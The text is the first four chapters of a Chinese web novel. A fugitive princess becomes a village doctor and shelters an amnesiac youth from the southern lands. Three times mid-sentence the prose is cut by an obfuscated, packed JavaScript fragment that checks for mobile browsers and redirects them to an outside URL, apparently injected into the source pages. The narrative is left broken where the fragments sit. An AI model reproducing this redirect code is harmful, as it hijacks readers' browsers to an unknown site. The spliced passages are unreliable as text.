《雨打芭蕉落闲庭》 1. 爹不疼娘不爱 明和十五年秋。 寝殿内的烛火燃了大半,焰心低伏,蜡泪在铜盘中堆叠成丘。光影将壁上的雕画拖得忽长忽短,那些祥云瑞兽便在明暗交替间扭曲着,仿佛下一刻便要挣脱出来。 汉钦帝的声音从御案后面传来,沙哑里透着点倦意:“你来做什么?” 乐平长公主跪在案前,面色如霜。殿内龙涎香的清苦烟气缭绕在她身侧,像一只只无形的手,层层缚压上来。 “若无事,朕便歇了。”皇帝揉了揉眉心,起身欲走,衣袖带起几案上摊开的奏折,纸张簌簌轻响。 “儿臣为和亲一事而来。”乐平望着那道背影,膝下的凉意沁入骨髓。 乐平长公主,名真,字靖熙,乃张皇后嫡出、帝后膝下唯一的女儿。 护国大将军乃其舅,御史大夫为其舅公,至于当朝丞相,实乃其外祖父。 一门三公卿,皆系血亲。 当年汉钦帝能登大宝,全凭皇后母族鼎力扶持。因此在旁人眼中,这位长公主自是金枝玉叶,享尽万千恩宠。 眼下,南燕内外告急,南燕摄政王有意联合大汉谋反,如若此时出兵助力拿下南燕,此后二国结盟,便解决了一大敌患。 然四方战乱未平,小国林立,贸然出兵恐遭夹击,需要有第三国帮衬着好。 这第三国,汉钦帝几乎未加思索,便选了与大汉素来交好的朝阳。 恰在此时,朝阳太子入朝共商大计,对时年十九的乐平长公主一见倾心。 汉钦帝遂下旨,将长公主指婚给朝阳太子。 “朝阳太子英武有为,对你情深意重。”皇帝扭头看她,眼里没有商量的余地。 “朝阳土地丰饶,水泽遍布,国力鼎盛,你嫁过去,将来便是一国之母。这般好的姻缘……” “儿臣不愿。”乐平开口,四字斩钉截铁。 汉钦帝闭了闭眼:“两国联姻,可固北疆,定南燕。你身为长公主享尽荣华,也该为家国尽一份力了。”说罢抬步又要走。 “父皇当真是为了两国交好。” 的确,国力强,地位高。这看似是天赐的好姻缘,实则不然。 乐平缓缓抬眸:“大汉与朝阳联手已成定局,父皇何必非将儿臣塞过去?” “儿臣留在这宫里,就这般碍您的眼么?” 汉钦帝脚下一顿,倏然抬眼。长公主却仍面色平静,眼底无半分畏怯。 有些事,她不必说破,但彼此之间心知肚明。 外戚干政,汉钦帝早已心生不满。 许多年前,宫里曾爆发过一场瘟疫,张皇后染病后身子大不如前,不能再生育,长公主遂为皇后唯一所出。 虽为女子,但皇帝仍然心生顾忌。 “此乃一举数得。”汉钦帝倏然转身,喃喃道。 乐平听后,心里却一阵唏嘘。 自出身以来,母后便因她是个女儿而百般挑剔。她谨言慎行,百般讨好,挨遭了许多无端的白眼不说,到头来,还是爹不疼娘不爱。 终究只能是皇权博弈场上的一枚棋子。 “远嫁异国,即便被人谋害,随便安个意外暴毙的名头,儿臣就从这个世界上随意地消失了,又有谁知道呢?”她的声音不高,却字字割在汉钦帝的心口上。 “父皇说得好听,不过是顺水推舟,先一步把儿臣清出去罢了。” 什么一国之母,天赐良缘……都是狗屁,她只知道,待外戚势衰之日,自己照样会死得很难看。 “母后怨儿臣非男儿身,父皇忌儿臣身上淌着的张氏的血。儿臣表面是这九重宫阙上珠冕巍峨的长公主,可实际上……”” “住口!” 皇帝勃然变色,抄起案上的那一方砚台,手扬起, 却僵在了半空。 烛光将他的影子拉地老长,两人四目相对的那一刹那,有什么东西悄然碎裂了。 “你在疯言疯语些什么鬼东西!” 汉钦帝将砚台重重地顿回案上,发出“砰”的一声闷响,残墨四溅,染黑了几张摊开的奏疏。 “即日起,你给朕闭门思过,无朕旨意,不得出!” “轰——” 沉重的殿门在她身后合拢。 公主几乎没有反抗,就让禁卫一路护送她回到云华殿。铜锁落下,夜色如浓墨般淹没而来,沉甸甸压人心魄。 无妨,既已注定和亲,她疯或不疯皇帝都不会严惩。逃又逃不掉,不如一吐为快。 数年来她受尽委屈,都在心底日复一日、年复一年地积怨成了一口深潭,表面风平浪静,实则早已溺死无数次。如今倒也扳回一局,真正做了回自己。 宫灯渐次熄灭,三更梆响时,公主仍端坐殿中,想着什么。 当最后一点烛火燃尽、黑暗彻底吞没四周之时。 她眸中最后一丝微光,也仿佛随那烛芯一同熄灭了。 ………… …… “走水了!” 忽地,东南角爆起一片赤红。 乐平以为自己眼误,直到听清楚了外面的叫喊声: “走水了!快!鸿胪客馆走水了!” 紧接着,铜锣炸响,人声鼎沸如潮水决堤。 鸿胪客馆!那里安置着前来商讨的诸多使臣! 火舌高舔夜空,映得未央宫墙一片惊心动魄的惨红。 宫门骤开,禁卫、宦官、宫娥,提桶的,扛梯的……整个皇城的秩序在肆虐的火焰面前瞬间崩塌。 幸运的是,云华殿外的看守也被这突如其来的大火给牵动,几人急匆匆地冲向客馆方向。 殿内,乐平如死水般的眼眸,被突然点亮了。 她迅速扯下自己的外袍,又将满头的珠翠金簪尽数扯落,青丝如瀑泻下,被她用一根撕下的布条草草束起。 然后快步移至殿后小窗,这里是宫中杂役平日传递物件之处,窗棂略高并不起眼。 她手撑窗沿,身形轻捷如燕,但墙角的苔藓沾了夜露难免打滑。乐平深吸口气重头再来,最终腿脚一翻,终于翻出了这口窗。 热风裹挟着焦糊气从背后扑来。 外面早已一条乱麻,深秋本就干燥,那火借风势愈烧愈烈,竟成燎原之象。更紧要的是,一位上国贵宾至今下落不明,众人在滔天火海里奔突呼喊,急得如同热锅上的蚂蚁。 乐平借着夜色沿墙根疾行,很快便溜到一段偏僻宫墙下。 那里有一段废弃的宫墙,因靠近冷宫荒苑,平日巡逻稀疏,此刻更是空无一人,而且墙头较矮蔓生枯藤。 她选中一处藤蔓最粗壮的地方,双手死死抓住枯藤,一步步向上攀爬。粗糙的藤条磨破手掌,她浑然不顾,终于手指触到了墙头冰凉的石砖。 她咬牙,臂力绷紧,腰身一拧,整个人便翻了上去,伏在墙头微微喘息。 墙外,是漆黑无人的暗巷,远处客馆的火光映亮半边天。 她不敢停留,纵身跃下,身影没入巷子深处,一路跌撞消失在茫茫夜色之中。 …… 许久,大火方被扑灭。 宫里传出消息: 长公主,不见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193282|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 ………… …… 九年后—— …… “啪嗒啪嗒。” 雨来的时候,谭柳真正走在田间小径上。 天空方才还是淡淡的青灰色,转眼间就阴沉下来,云絮翻滚着聚拢,像被人揉皱的绢布。 她抬起头,密密麻麻的雨点噼啪砸下,将整片田野笼罩其中。 谭柳真没有带伞,只能提起裙子狂奔,需要在雨势猖狂前赶回家,否则这山路便难走了。 途中,她经过一排农家小院,院子里的张大娘正忙着抢收稻谷。 眼下未时刚过,正是农忙时分,村里的人大多在田里,只余她一个人在这里手忙脚乱。 院子里的谷子金灿灿地铺了一地。 山里的气候变幻莫测,秋天的雨最是恼人,一不小心,一年丰收又得白干。 她急得双手冒烟,恨不得长出八只手臂八条腿。 再回头一看,院子里就多了一个帮手,正是谭柳真。 谭柳真穿着一身粗布麻衣,发间只一根素木簪子,通身气度却沉静舒展,不似寻常村姑。 两人互相看了一眼, “哎呀,谭大夫!” 张大娘又惊又喜,手里撮箕却不停,急急揽着地上的谷堆。 此时的乐平早已化名“谭柳真”,九年来都隐居在广庾这一块的山村里,如今不过是这山野间的一名寻常大夫罢了。 谭柳真没有说话,只是手脚麻利地帮着忙。两人默契地将稻谷快速收尽。 终于,当最后一捧稻谷装进麻袋时,张大娘扎紧袋口,长舒一口气。 “哎呀,真的谢谢你,谢谢你啊谭大夫。” “不妨事的,大娘。”谭柳真笑了笑,眼角弯起温柔的弧度。 她和张大娘的全身都打湿了,上面的褂子甚至能拧出水来。 “快,快进来!” 张大娘拉她进了屋,外面的雨越下越大,打在身上凉嗖嗖的。 但是屋里暖和多了,烧茶的炉火还未熄灭,张大娘麻利地添了几块柴,火苗立刻窜了一个高度,暖黄色的光晕在屋内扩散开来。 大娘转身从箱子里翻出一条干净的粗布毛巾,又从女儿的床头包袱里取出一套叠得整齐的干衣服,递给谭柳真。 “你先换上我闺女的衣服,别着凉了。” 谭柳真接过毛巾,犹豫了一下。 “巧云去镇上帮工,得月底才回。你先换上,湿衣服穿久了要生病的。” 谭柳真这才点头,去换了这件衣服。她比同龄女孩高了不少,衣服穿在身上有点不合身,但总比穿湿衣服好。 “这鬼天气,说变就变。”张大娘擦着头发,换了身衣服出来。 炉子里烧着一壶热酒,屋子里飘着一股梅子香。 “刚才还是大白天呢。”谭柳真道,两人一齐看向窗外。 外面的雨势渐大,丝毫没有要停下来的意思,远处翠青色的小山,正如波涛般连绵不绝。 山道上,一群官吏正推搡着难民冒雨前行。难民们手绑着麻绳,像牲口一样一个一个地被串在一起。 “快走,快走!别磨蹭!” 污泥与蹒跚的脚步声中,一个长发及腰的少年面色最是苍白。 官吏一扯绳子,他便跟跄一步,整个人无精打采,发丝凌乱地贴在颊边。 可他眼眸深处却凝着一道锐利的光,目光越过湿漉漉的山脊, 那雨中朦胧的农家小院,只有一点点如水墨画般勾勒出来的轮廓…… 2. 捡到一个小破烂 “可不是,今儿要不是你,我这谷子怕是要糟蹋不少。” 酒烧好了,炉子里发出噜噜的叫声。 张大娘倒了一大碗递给谭柳真,这酒的度数不是很高,谭柳真一嘴下肚,身上暖暖的。 “这季稻子要是淋坏了,我这个老婆子冬天就难熬了。”说着说着,她叹了口气: “要是巧云在我跟前就好了,可是这世道,不出去帮工,又养不活我这把老骨头……” 谭柳真颇有耳闻,张大娘有一儿一女,大儿子从军戍边,好歹女儿懂事,平日靠着长子捎回的贴补,母女俩还能做个伴。 但是如今…… 她正欲出言安慰,就听张大娘继续道: “唉,家家有本难念的经。分离聚和本是常事。就算是那锦衣玉食的皇帝不也一样,公主尚且出走呢……我也该知足了——” 谭柳真心里咯噔了一下,这种穷乡僻壤里关于宫闱的诡奇传闻从来不少。 但时隔九年,她已经练成了一份豁达的性子,甚至还能笑着打趣道: “大娘您快别说,我听闻那什么公主早已香消玉殒,化作了专缠未嫁女子的厉鬼!……我一个人住在山上,害怕……” “哎呦,这皇家还真是水深啊……” 两人围着炉火坐了约莫半个时辰, 张大娘絮絮叨叨地说着最近听来的奇闻琐事。 终于,雨势渐小,慢慢停了。 临走的时候,张大娘起身走进里屋抱出三只陶罐,用麻绳仔细绑在一起。罐口用油纸封着,隐约能闻到果子的甜香。 “这是我去年酿的梅子酒,你带回去,夜里冷了喝一口,暖和。” 谭柳真连忙推辞:“大娘,我不喝酒的……” “瞎说。”张大娘不由分说地把陶罐塞进她怀里,笑着对她比了一个住嘴的手势。 “山里湿气重,睡前抿一小口,对身体好。你要是不收,就是看不起我这老婆子。” 话说到这份上,谭柳真只好收下。 陶罐沉甸甸的,抱在怀里能感觉到液体的晃动。 天色依然阴沉,但云层薄了些,透出朦胧的天光。 谭柳真起身告辞,张大娘一直送她到院门口。告别了张大娘,她用自己的湿衣服包着陶罐走上山路。 “滋啾~滋啾……” 雨后的小径泥泞不堪,每一步都走得艰难。 有几次脚底打滑,她险些摔倒,全靠及时抓住路旁的树枝才稳住身形。 “这路真该修修了。”她自言自语道。 正想着,右脚突然一沉——鞋子陷进泥里了。她试着拔了拔,泥浆发出“噗嗤”的声响,鞋却纹丝不动。 再用力,鞋帮和鞋底眼看就要分家。 谭柳真气笑了,索性脱了鞋,赤脚踩在泥地里。 冰凉的泥浆从趾缝间溢出,虽然触感怪异,但并不难受。 她提着那只沾满泥的鞋,深一脚浅一脚地继续前行。 转过一道弯时,余光忽然瞥见路旁有一片杂乱的脚印,深深浅浅地印在泥地上,延伸向坡下的灌木丛。 这山上常有村民采药砍柴,雨后路滑,摔跤是常有的事。 谭柳真几乎没犹豫,丢下手里的鞋和陶罐,赤着右脚就跑了过去。泥浆溅到小腿上,她也顾不上。 拨开湿漉漉的灌木枝条,眼前的景象让她倒吸一口凉气。 一个身着黑衣的十七八岁少年,正俯卧在泥地里,一动不动 少年脸色惨白,干瘪的嘴唇紧紧地抿在一起,长长的睫毛耷拉着。 谭柳真吓了一跳,脚下险些有点没站住。 她跑过去一探鼻息,还好,还有救。谭柳真将人扶起,才发现这人轻得厉害,像是饿了很久。 而且眼窝深邃,鼻子高挺,没有束发,长长的头发披撒在肩上,额头一簇乱糟糟的刘海遮在眼前。 服饰和长相都不像中原人,衣服也是寻常布料。 这少年模样生得真俊,她不由多看了一眼—— 稚嫩的脸上似乎还没有长开,圆润的脸庞还带着几分稚气,睫毛又长又密,此刻紧闭着双眼,倒像个易碎的瓷娃娃。 像是南疆人。 “南疆人怎么会出现在这?” 谭柳真有点左右为难,这时,她发现空气里有一股血腥味。 回头扫过他身下的那块石头时,那里赫然有一小片暗红色的血迹。 谭柳真心中一顿,再扭头看向少年。 果然,侧边的脑袋上有一个血色的窟窿,看样子是被砸出来的。 她顿时心底一沉,现在已经路行了一大半,再下山去已然不现实,干脆先运回家里,等明早再送下山去,如果伤得重,一晚上恐怕还醒不了。 然后匆匆撕下自己的衣服一角,草草包扎了伤口。抱着人快速往自己屋里跑去。 躺在床上,少年全身冻得发抖,体温极速下降。 谭柳真快速地将人扒光,塞进被子里盖好,衣服里面掉出一个香囊。 她赶紧跑到灶台里拿了几枚炭火,刮了一条火柴,炉子里火苗蹿起来,屋子里好歹暖和一点。 在大雨里淋那么久要发烧,她一探额头,果然中招了。 谭柳真先是跑过去给他脑袋上的伤口消毒,拿了凝血的草药敷上,然后又喂了他点退烧用的药。 眼看忙活地差不多了,才想起来要搞点粥给他喝。 少年的嗓子里突然呜咽着什么, 谭柳真被吓了一哆嗦,整个人坐得笔直。她小心翼翼地探头,发现他正突然哗啦啦地留着眼泪,像瀑布一样打湿了盖到嘴巴下面的被子,但是嘴里只有安静的呜咽声。 她不会安慰人,但猜想他应该是梦到了什么。柳真学着小时候自己的奶娘安抚自己的模样,抚了抚他的头。 少年在安抚中渐渐平静下来,只是眼角还挂着泪珠,在昏黄的炉火映照下,像断了线的琉璃。 谭柳真替他掖好被角,她起身想去换一盆凉水,手腕却被一把抓住。 那手冰凉,力道却大得惊人,仿佛溺水的人抓住浮木。 谭柳真僵在原地,低头看去,少年并未睁眼,只是眉头紧锁,嘴唇翕动: “别走……别走……” 她轻轻安抚,掰开少年的手指,将自己的手腕抽出来。 触手所及,他手掌非常大,而且满是青筋,掌心有一层薄茧,不似养尊处优之人。 炉火噼啪一声,炸开一点火星。 她兑好温水,拧干布巾,重新覆在他额上。指尖拂过他高挺的鼻梁和深邃的眼窝,这张脸确实与中原人迥异,却也俊秀得令人过目难忘。 “快点好起来吧。”她低声说。 窗外,夜雨敲打着茅屋的檐角,滴滴答答,将这小屋与世隔绝。 等一切终于都结束后,谭柳真终于精疲力尽躺倒在地板上。连丢在外面的鞋和酒都忘记拿回来,就昏昏欲睡。 梦里,她听到外面的雨又下大了…… ………… …… 第二日一早。 “啊!我炉子还没熄!” 谭柳真尖叫着醒来,感受到一股灼热的视线。 好在,炉子里的火仍旧不紧不慢地烧着,没有酿成大错。 “我怎么又睡着了?” 然而奇怪的是,炉子还是在下面,而她,居然出现在了被窝里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193283|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,出现在了床上的被窝里。 屋子里飘来一阵熟悉的甜香味。 然后她往上一看,昨晚的少年正坐在她的面前,摇扇煮着什么。 他脸色白里透着红,不比之前一贯的惨白色,看来身体已经好了很多。 少年直勾勾地盯着谭柳真看,眼神极力温柔。但充满阴沉的下三白眼,还是把谭柳真冻了一哆嗦,像一只阴森的黑毛兔子。 外面的雨停了,而且谭柳真昨天丢在半路上的鞋子和酒,也被捡了回来。 再一看,男孩炉子里煮的,正是昨天张大娘给她暖身子的那半壶梅子酒。 亭子里的芭蕉叶里蓄满了雨水,一阵风,雨滴落在地面上,发出啪嗒啪嗒的音韵节奏。 这是什么岁月静好的画面,谭柳真愣了好久。 “你醒了?” 少年居然先开口说话,而且说的还是汉语,说的还是她的词。 谭柳真震惊了半天, 这人自己找衣服穿上了,穿的是她的衣服,依旧是黑色。酒也煮上了,甚至不知道是怎么找到的,没考虑过能不能喝。 少年整个人有一种游刃有余的从容不迫感,就像在自己家一样。 谭柳真不知道该说什么,终于将他说的话原封不动地还了回去: “你醒了??” 他不会摔坏脑子了吧? “你,你……” “你在半路上晕倒了,你还记得么?” “我?晕倒?” 他声音低低的,谭柳真这才注意听,是溢出来的少年音。 但尾调较沉,听起来有点冷冷的,没有口音,如果是南疆人的话,应该是正儿八经的学过中原话。 “你不记得了么?” 这人不会真摔傻了吧? 少年抚了抚额头,上面有谭柳真给他包扎的棉布,还好伤口不深,不然就算是神仙来了,也救不了他。 “我,我好像不记得了。” 他满脸疑惑,眼尾上一抹红晕,语气里有点自责。 “你……” 这话还真把谭柳真给定住了,她恍然大悟,少年恐怕是撞到脑子后失忆了。 “我叫谭柳真,是一名大夫,这里是我家,昨天我在回家发现到了你,当时你正晕倒了,是我把你扛回来的。” “呃……因为你雨淋了嘛,所以你的湿衣服……” 少年听到这,眼神里居然闪过一丝低落。 房间里安安静静的,弥漫着一股淡淡的草药味,闻起来还有点苦涩。 他不得不承认:“我好像失忆了。” 自打醒来后,他就一直在脑子里拼命地搜寻,还出去转悠了一圈,但最终一无所获。 该说不说,谭柳真虽然从医好几年载,但这种存在于话本子里的经典情节,她还是少有遇见。 “我身上有什么能证明我身份的东西么?” 谭柳真想了想,从桌子上拿出昨天的那个湖蓝色的香料包。 这个香料包很精致,做工打样都很工整,上面绣着一只银色的蝴蝶。只可惜谭柳真不懂女织,自然也不会知道上面的绣工是哪边的针法。 在香料包上绣荷花,什么花得很多,但是要说光绣一只银蝴蝶在上面的,谭柳真还是第一次见。 少年接过来在手里闻了闻,没有丝毫印象。 “这上面的花纹呢,也不记得么?” 少年摇头。 谭柳真轻叹一声,只能将香料包收回。 突然这时, 风沙吹过院子,树叶沙沙作响。 谭柳真突然心却一沉,两人同时看向院子外。 那里传来一阵踉跄的脚步声。 3. 农夫与蛇的故事你听说过么 “柳真丫头!在吗?快来帮我瞅瞅这脚——” 谭柳真一听,便松了一口气。 她起身推开门,只见张大娘拄着一根粗树枝,左脚虚点着地,裤腿挽到小腿肚,脚踝处已肿起一片。 “我今天一大早进山砍柴,一没留神脚踩进了个坑,这下可好……” 张大娘边说边嘶着气抬头,谭柳真搀扶着她。 一进屋,张大娘便闻到一股很浓郁的梅子酒香,高兴道: “在喝我昨天给你的梅子酒吧。” 谭柳真莞尔一笑,搀扶着大娘在堂前坐下。 “这娃是……?” 谭柳真一抬头,就看见少年就倚在门旁边,直勾勾地盯着两人看。 就在刚才,他还极力适应着这个“熟悉的”陌生环境,发现这宅院颇为宽敞,一人居住显空阔,二人同住方为恰好。 房舍瞧着很新,像是刚落成不久,东厢一屋子里列着许多竹架,上面分门别类搁着各色草药。 卧房分有两间,一为主屋,一为厢房。 他醒来时就睡在主屋里,屋宇轩敞,里外收拾得素净齐整,而且最最、最重要的是: 他随手打开衣橱,里头竟备着几套合他身量的男子衣衫,仿佛就是特为他备下的一般。 但是现在他知道这些都是乌龙了。 “山里遇见的,受了伤,记不得事了。” 谭柳真匆匆瞟了他一眼,眼下的事还真是一茬接这一茬。 “我先给您看看脚。” 她蹲下身检查扭伤处,手法熟练地按捏骨位。 少年过来安静地蹲在一旁,目光落在两人身上。 “肿得厉害,但骨头应当没事。”谭柳真起身去取药酒,“您先坐着缓缓。” 张大娘上下打量了少年一番,忽然说:“这孩子长得……不像咱们这儿的人啊。” “我也正想这事。”谭柳真拿着药酒回来,忽然记起什么似的,便顺势从怀里取出那个香料小包。 “大娘您见识广,帮忙瞧瞧这个,是从他身上发现的。” 张大娘接过小包,对着光仔细看上面的纹样,又凑近闻了闻,眉头渐渐蹙起: “我还真没见过这种样式的针法……” 张大娘抬头看向少年,眼神里多了几分了然与同情,“你家里的事,一点都记不起了么?” 少年蹙紧眉头:“没有。” 谭柳真将小包放进盒子里仔细收好,有些头疼地看着阿晏,一边给张大娘揉脚一边道: “看你的长相,不像是我们中原人。” 少年仔细听着,眸子里映衬着她的脸。 谭柳真的长相不算秀气,应该说是端正,一张标准的方圆脸,剑眉星目。 说话的语气虽然温柔,但音色低沉沉的,一举一动里透着英气。要是扮上男装,恐能真地雌雄难辨。 “其实就算没印象,我也大概能猜出你是南疆人。” 社会政局动荡,南疆分十二国,现在战乱不断割裂不已。 “看你的长相也很符合南疆那边,所以很有可能是从南疆逃荒过来的。” “但是,我看你说中原话很流利,没有口音,而且仪态甚好,也许是富贵人家的孩子。” 张大娘说:“你有没有什么记得的,关于自己家里的任何事情?” 少年粗了蹙眉头,很努力的回忆。 “没有。” 哎。 战乱之下人人平等,就算是富贵人家的孩子也照样只顾着逃命。 张大娘忽而叹了一口气: “现在都是这样,打的打,逃的逃,妻离子散,家破人亡……” “好吧,看来只有这香料是唯一的线索了。” 谭柳真喃喃道,忽而发现上面绣有一个“晏”字,又想到她们对少年还没有称呼。 “总是‘你’啊‘他’的叫着,也不方便。”她忽然开口: “我看你这香料包上有一个‘晏’字,你既然暂时想不起名姓,不如……我先给你取个小名,就叫阿晏,可好?” 少年闻声,抬眼看她,那双过于沉静的眼眸里,第一次清晰地生出一道光亮,好似天空驱散了一片乌云。 谭柳真沉吟片刻:“‘晏’有安宁、平和之意。你性子这般安静,感觉很合适你。” 阿晏点了点头,一直微微绷着的肩膀终于松弛了一点。 “你,你咋……”张大娘却顿感不妙,当着阿晏的面欲言又止。 “只是个暂时的称呼罢了。”谭柳真垂下眼,继续手上的动作,语气平淡,“等他哪天想起来了,自然还是要用回本名的。” 她将药油在掌心搓热,轻轻为大娘推拿,不知为何,这最平常的动作,阿晏看着眼里却泛着光。 给张大娘揉开药酒后,谭柳真见她行走仍不便,便道: “这山路陡,我送您下山吧。” 张大娘点了点头,谭柳真拎起药箱,回头看向门边的少年。 他慌忙站着,晨光透过枝叶落在他肩上,明明身形已有了而立之年的挺拔,眼神却澄澈得像山涧的水,映着一点不安。 谭柳真心里莫名一软,温声道:“我去去便回,你留在屋里,莫要乱走。” 少年先是一愣,接着轻轻点头,手指攥了攥衣角。 谭柳真搀着张大娘往山下去,她在这山野间行医多年,都是独自一人背着药箱来往于山径田垄。 诊金收得极薄,遇上贫苦人家,常是分文不取。每月十五还会在村口老槐树下设义诊摊,为十里八乡的乡亲们把脉问诊。 虽性子沉静少言,但老百姓心里怜惜,都将她当作自家女儿和姐妹。 这般品貌双全的姑娘,眼看已近双十年华,却仍是孤身一人住在半山小屋里。 张大娘每想起这事,心里便像压了块石头。 “柳真啊,”张大娘突然叫住她,“你可愿……让大娘替你说门亲事?” “啊,啊?”谭柳真脚步一顿。 张大娘声音压低了些,眼梢往四周一扫,见无闲人,方道: “镇上有户姓赵的人家,儿子在县衙当差,人老实本分,就是年纪稍长你几岁……” “大娘,” 谭柳真轻声打断她,婉言拒绝: “我现在这样挺好的。” “可一个人终究冷清……” “当真不冷清的。” “是不冷清,可你平日看诊那般辛劳,归家亦无人体贴。若在镇上安顿,有个人替你分担活计,相互照应多好啊,这山上……也还是孤寂。” “真不用……” 这山上的日子清贫,但是平时看诊忙碌,也还算不上孤独。 就是偶尔有时候也想有个能说话的伴。 可惜她的工作特殊,院子里经常要晒满草药,小猫小狗天生好动经常捣乱不说,还有可能误食毒草药。 所以干脆什么活物都养不了,每天自言自语也还得劲。 “大娘巧云姐的衣服我还要洗洗明早再给您。” “无妨。”张大娘道,有些不放心:“你当真留他一人在屋里?” 谭柳真道:“我那屋里除了点破草药,没有什么好偷的,而且他的伤还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193284|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,这里大夫他就只认得我一个,不会跑掉的。” 张大娘勉强地蹙了蹙眉毛,有些隐隐不安。 这时,谭柳真道: “大娘,我捡到他的事,还请你先帮我保密,不要让别人知道了。” 张大娘一听,顿时便乱了分寸,眉毛瞪地老高,慌张道: “柳真啊,我说让你找个伴在山上。” “但是还是得找个知根知底的,像这种来路不明的……你还是多安点心思,不能什么人都随便带回家的。” “嗯嗯。”谭柳真点点头,“我知道的,大娘,我只是说再帮忙看看,我不……” “他说他是失忆了,但你我怎得知晓真假,他一个男人人高马大,你别看他像个小白脸,长得比姑娘还秀气,万一真有什么歹毒的心思呢?” 张大娘越说越激动: “那到时候这荒山野岭的,你逃都逃不掉!” “他万一要是找个地方抛尸,你可就尸骨无存了!” “大娘,您不能盼我点好的吗?” “哎呀,”张大娘无言以对: “不是不盼点你好,是你太没心肝了,农夫与蛇的故事你听说过吗?不跟你说清楚怕你拎不清,不是什么人都能……” 路走了一半, 突然,便听见山下官道方向传来嘈杂的人声,夹杂着呵斥与锁链拖地的闷响。 “什么声音?” 两人抬眼望去,心头骤然一紧。 一群衣衫褴褛的人,手脚拴着粗绳,被几个差役驱赶着往前走。 不用想就知道,他们是从各方逃过来的难民,被官府抓到手里充当劳役的。 “唉,” “造孽啊……”张大娘压低声音叹息。 他们大多面黄肌瘦,眼神麻木,背上扛着沉重的石料或木桩,每走一步都像是用尽了力气。 有人踉跄了一下,立刻招来一声鞭响与厉骂。 “都是逃难过来的,被抓了充作官役。说是修城墙,可这模样,能熬到完工的能有几个?” 谭柳真看着那些人身上的伤痕,和他在少年身上发现的差不多,本来以为是逃荒途中不小心留下的,现在看来,原来是早已经受了苦役。 这么说,那孩子很有可能是从官府手中逃出来的。那如果,她要是把他再送回去…… 谭柳真不敢想, 他最有可能的结果,就直接被乱棍打死以儆效尤。 两人心照不宣,可以将阿晏交给官府,但是,如果当真找不到亲人,那可就要被留下来充当苦役了。 谭柳真不想把他交给官府充当苦役,阿晏瞅着像个木愣子,她和大娘问一句他就回一句,看着全然没有自己的想法,要是落到官府那堆人手里,指定要受不少委屈。 这么年轻的一个孩子,在战火纷飞的年代里面能活下来已是不易,一路下来不仅要历尽奔波,还要受尽皮肉之苦。 这时,阵阵山风吹过,带着晚秋的阵阵寒意,那边的人们都冻得瑟瑟发抖。 谭柳真看在眼里,一开始捡到少年时,他的身上甚至没有一件暖和点的衣裳。 想到这,谭柳真不免微微攥紧了药箱的背带,指节发白。 “哎呀,快走吧,快走吧,别看了……” 张大娘紧紧搀住谭柳真的胳膊,继续往下走: “你千万想清楚了,千万小心,千万注意!他来历不明,又是那般长相,万一……” 谭柳真点了点头,心里却像落进了一块沉甸甸的石头。 两人身后的树林的阴影里,忽然晃出一个黑色的身影…… 4. 怎么变哑巴了 “你就在这住下吧。” 雨霁云开,晨光初透。院中飘来一叶梧桐亲吻大地,金黄如染,静静贴在微湿的泥土上。远处林间,山鸡啄食,几声清啼隔林传来,叫这山里的晨光愈发幽静了 两人在屋后的小庭里面对面坐下,周遭都是些药架子和野花野草,身后还有一丛巨大的芭蕉叶,谭柳真平时忙累了就喜欢呆在这里看会闲书。 与其扭扭捏捏、犹豫不决,还不如直接一刀斩乱麻。 想当年她刚从皇宫逃出来那会,也是得益于路途老百姓的接济才能跑这么远,如果不是谭奶奶肯收留她,谭柳真现在肯定也和露宿街头差不多。 她收留少年算是以德报德,将这番善意传递下去。再说了,平时抓药也还缺帮手。 闻此言,少年猛然抬头,眼里突然泛起了星光,激动地看着谭柳真。 谭柳真点点头回应他:“我看你也没地方去,找回记忆之前你就住在在这吧,如果哪天你想离开也行。当然了,你也要帮我做事,尤其是我有时候会很忙,所以家里的很多事都要你来做。” 少年点点头,厚重的刘海遮挡不住他眼底的兴奋,他很认真地听着谭柳真说话。 “要是有人问起,我们就以姐弟相称,你姓谭,言字旁的那个,跟我一个姓。我今年二十有八,你肯定比我小,看你的牙齿状态,顶多十八九岁。” 谭晏嘴里默默地咬了咬牙齿。 好在如今户口普查放得宽,谭柳真不需要带着他去官府走一遭,倒也算赶上了乱世的便宜。 为了显得自己不那么冷漠无情,也为了快速拉近两人之间的关系,谭柳真还是决定先帮忙让谭晏收拾一下自己。 首先,就是先去泡个澡,然后换一身衣服。谭柳真给他找了件看起来明亮阳光一点的,花一样的年纪天天穿那么黑干什么。 